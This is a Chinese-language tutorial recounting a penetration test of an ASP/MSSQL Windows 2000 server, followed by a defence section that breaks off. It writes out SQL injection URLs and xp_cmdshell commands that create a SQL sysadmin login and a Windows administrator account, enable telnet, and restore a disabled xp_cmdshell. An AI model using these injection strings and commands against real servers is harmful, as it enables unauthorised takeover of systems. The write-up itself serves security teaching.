萬盛學電腦網

 萬盛學電腦網 >> 應用技巧 >> 從一次滲透測試談起

從一次滲透測試談起

一 滲透的具體過程
朋友做了一個財務部門的項目,今天叫我來做免費的滲透測試,下面來談談這
次的過程和體會。

先來介紹一下子服務器的基本情況,windows 2000 adv server 中文版,據稱
打過了sp3,asp+iis+mssql 。首先掃描了一下子端口,呵呵,開始的一般步驟。

端口21開放: FTP (Control)
端口80開放: HTTP, World Wide Web
端口135開放: Location Service
端口139開放: NETBIOS Session Service
端口1433開放: Microsoft-SQL-Server

開了幾個很經典的端口,應該說個個都很經典啊。既然確定好了端口,那就有
針對性地掃描一下看看開了什麼共享麼,faint,老兄把ipc$,admin$,c$,d$都
給關掉了,掃描nt的弱口令就沒有實際意義了。然後呢就看看iis是否有什麼
漏洞,用x_scan掃了一下,沒有發現什麼可以利用的漏洞。然後就來看看1433
的sql是否有什麼漏洞,首先掃了一下弱口令,沒有,先還是不暴力破解吧,一
般都是先禮後兵的,暴力的就留到最後了。最近sql server 有個Resolution服
務遠程棧緩沖區溢出漏洞,用這個來看看,試了一下子不行。原因可能是因為
我用的exploit對sp3不適用或者是已經做了安全設置。不過這問題還是先記錄
下來了。
再來看看ftp怎麼樣,
C:\Documents and Settings\Administrator>ftp 1.1.1.1
Connected to 1.1.1.1.
220 cwcserver Microsoft FTP Service (Version 5.0).
User (1.1.1.1:(none)): anonymous
331 Password required for anonymous.
Password:
530 User anonymous cannot log in.
Login failed.
ftp>
失敗了。不支持匿名登陸的,不過這裡也是一個安全隱患,可以通過暴力破解
ftp用戶的密碼來破解nt用戶的密碼。也記錄下來了。好了,既然用了asp+sql
那就來看看asp編程方面有沒有可以利用的東西了。到主頁上面一看,有個新聞
發布系統。url如下:
http://1.1.1.1/news/default.asp?cataid=98986
先加個分號測試一下,url現在如下:
http://1.1.1.1/news/default.asp?cataid=98986;
依然正常顯示,並且和前面顯示完全一樣。這說明了沒有過濾分號,大好消息。
再測試一下子單引號。現
在的url如下:
http://1.1.1.1/news/default.asp?cataid=98986‘
頁面正常顯示,不過不能夠顯示新聞列表。提示找不到資料。這說明單引號也沒
有過濾。好了,希望大大的有了。估計xp_cmdshell也可以了,其他的存儲過程
也都可以用了。不過這裡這台服務器是關掉了所有的默認的共享。

想想有什麼好辦法能夠獲得shell呢。仔細考慮後我想到了兩種方法,基本上是
大同小異。

方法一:
利用xp_cmdshell存儲過程來添加windows用戶,並提升到管理員權限。
然後依然利用xp_cmdshell來打開telnet服務。最後當然是登錄上去了。

方法二:
利用sp_addlogin添加sql用戶,同樣還要提升權限。
再用查詢分析器連接SQL Server,再利用xp_cmdshell打開telnet服務。
最後登錄。

兩種方法都能夠得到shell,我就選擇第二種方法。具體過程如下:


就往SQL Server裡面添加一個用戶吧。
方法如下:http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addlogin user;
回車後執行,浏覽器自動補上了空格,變成:
http://1.1.1.1/news/default.asp?cataid=98986;use%20master;exec%20dbo.sp_addlogin%20user;
頁面依然正常顯示,不過就算你打錯了也會正常顯示的,不能夠判斷究竟是
否成功。中間的20%嗎,其實就是代表空格符的。上面也就相當於在查詢分
析器裡面執行:
use master;
dbo.sp_addlogin user;注:此處也可以為sp_addlogin user;前面的url裡
面同樣可以不要dbo,也就是:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec sp_addlogin%20user;
都是一樣的。
現在我們已經添加了一個用戶了,密碼現在為空,這裡就不管這麼多了,反正也是
一個過渡的過程,就不加密碼了。
如果要改密碼,可以這樣:dbo.password null,password,user;
dbo.password是修改用密碼的存儲過程,null是舊密碼,password是新密碼,
user自然就是用戶名了。而在我們這個測試中也就是這樣子的:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.password null,password,user;

ok,回到主題,現在權限還是不夠高,那麼就開始提升權限吧,url如下:
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.sp_addsrvrolemember user,sysadmin;
解釋一下sysadmin的含義。SQL Server有八種固定服務器角色,具體如下:數據
庫創建者(DBCREATOR),磁盤管理員(DISKADMIN),進程管理員(PROCESSADMIN),
安全管理員(SECURITYADMIN),服務器管理員(SEVERADMIN)安裝管理員(SETUPADMIN)
,系統管理員(SYSADMIN),大容量管理員(BULKADMIN)當然最高權限的是系
統管理員(SYSADMIN),默認情況下sa也是系統管理員。
dbo.sp_addsrvrolemember是為固定服務器角色分配登錄帳戶的存儲過程。

用大家經常使用的net命令來對應(本身並沒有任何聯系,這裡拿來對照學習)
sp_addlogin user;相當於 net user user /add
sp_password null,password,user相當於net user user password
sp_addsrvrolemember user,sysadmin相當於net localgroup administrators user /add


好了,我們現在已經實現了添加用戶並且提升到sysadmin了。下面要做的是添加windows用戶並且
開啟telnet服務。
打開我的查詢分析器,填入服務器地址,用戶民和密碼。連接成功了。嘗試一下xp_cmdshell是否
可以使用,
use master;
xp_cmdshell ‘dir c:‘;
記得分號是不可以少的哦。一切正常。顯示出來了c:盤下的目錄和文件。那就繼續下去,
添加windows用戶:
xp_cmdshell ‘net user awen /add‘;
設置好密碼:
xp_cmdshell ‘net user awen password‘;
提升到管理員:
xp_cmdshell ‘net localgroup administrators awen /add‘;
開啟telnet服務:
xp_cmdshell ‘net start tlntsvr‘
一個老問題就是還有ntlm這個攔路虎。
沒問題,直接在肉雞上也添加一個用戶名和密碼相同的賬號然後再以這個帳號運行cmd就可以了。
具體的做法-----為cmd.exe創建一個快捷方式,右鍵點擊,在“屬性”裡面鉤上“以其他用戶身
份運行”。ok,雙擊。輸入剛才的用戶名和密碼。更加詳細的做法清查看阿布的文章----
最快速登錄WIN2K TELNET 服務,在這裡可以找到.
http://www.patching.net/abu/gongfang/hacking/easytelnet/index.html

好了,可以telnet上去了,就寫到這裡,後面還進行了一些測試,都是大家所熟悉的就不寫了。

 

二 回顧與思考

 

這次入侵測試要是說有難點的話那就是管理員把ipc$,admin$,c$,d$...都關掉了。
因此和以前很多的教程有點不同。比如說假設ipc$沒有關閉的話,我們很輕松的
使用opentelnet這個工具來開telnet,並且也就沒有了ntlm這個障礙。

再對前面的兩種方法進行回顧,其實兩種方法還是有區別的。
假如管理員把xp_cmdshell禁止了,第一種方法就無法進行下去了。
有人會說,第二種方法不是也一樣要用到xp_cmdshell嗎。
正確,不過我們還是有辦法恢復過來。SQL server 2000的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xplog70.dll‘‘ 
SQL Server 7.0的恢復方法是:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =‘‘xpsql70.dll‘‘ 
你在2000下面是找不到xpsql70.dll的,同樣7.0下面也是找不到xplog70.dll。
把第二種方法也寫出來,沒有測試,僅供大家參考:
1 添加用戶
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen /add‘;
2 更改密碼
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net user awen password‘;
3 提升到管理員權限
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net localgroup administrators awen /add‘;
4 打開telnet服務
http://1.1.1.1/news/default.asp?cataid=98986;use master;exec dbo.xp_cmdshell‘net start tlntsrv‘;
5 依然是采用前面相同的方法登錄

 


三 就本例談談怎樣進行安全防范

 

上面所講的是一個特定的例子,但是反應了一個問題,世界上沒有絕對的安全。
安全是有很多很多細節所組成起來的。上面例子中的管理員已經做了一些必要的安全措施。
補丁打得也很及時,但是依然存在著很大的問題。不僅僅是asp沒有過濾掉特殊字符。還有一些
比較嚴重的問題,比如說開啟了ms ftp服務,這樣
copyright © 萬盛學電腦網 all rights reserved